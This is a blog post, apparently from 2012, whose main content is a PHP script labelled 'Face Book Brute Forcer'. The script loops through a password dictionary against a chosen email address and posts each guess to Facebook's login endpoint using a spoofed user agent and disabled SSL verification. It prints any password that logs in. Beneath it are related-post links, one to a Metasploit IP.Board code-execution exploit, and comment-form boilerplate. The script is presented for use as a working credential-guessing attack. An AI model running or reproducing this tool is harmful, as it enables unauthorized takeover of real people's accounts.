###############################
# Face Book Brute Forcer
################################
#Miracle-Ubers.org
################################
set_time_limit(0);
$username ="brute@force.org"; // username to brute force
$dictionary ="dictionary.txt"; // need dictionary to password list
function kontrol($kullaniciadi,$sifre){
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
$ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("Home",$source)){return true;} else {return false;}
}
if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
$lines=file($dictionary);
echo "Attack Starting..
";
sleep(10);
echo "Attack Started, brute forcing..
";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "[+] username:$username , password:$line - P
assword found : $line
";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
else{echo "[-] username:$username , password:$line - Password not found :
$line
";}
}
?>
New Post
Saturday, October 13, 2012
Related Posts
Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution
### This file is part of the Metasploit Framework and may be subject to# redistribution and commerci...Read more
PHP - Những điều có thể bạn chưa biết
Thủ thuật khi lập trình PHP1- Khi echo thay thế print:Echo luôn luôn hoạt động nhanh hơn print, vì e...Read more
Một số mẫu Regular Expressions
Regular Expressions xuất hiện một cách thường xuyên và gần như không thể thiếu với một lập trình vi...Read more
Share code Restore dữ liệu MySQL trên PHP
Trong bài trước tôi đã share một đoạn code đơn giản để backup dữ liệu trên MySQL . Trong bài này nh...Read more
Share code Restore dữ liệu MySQL trên PHP
Trong bài trước tôi đã share một đoạn code đơn giản để backup dữ liệu trên MySQL . Trong bài này nh...Read more
Subscribe to:
Post Comments (Atom)
0 nhận xét:
Post a Comment
Click to see the code!
To insert emoticon you must added at least one space before the code.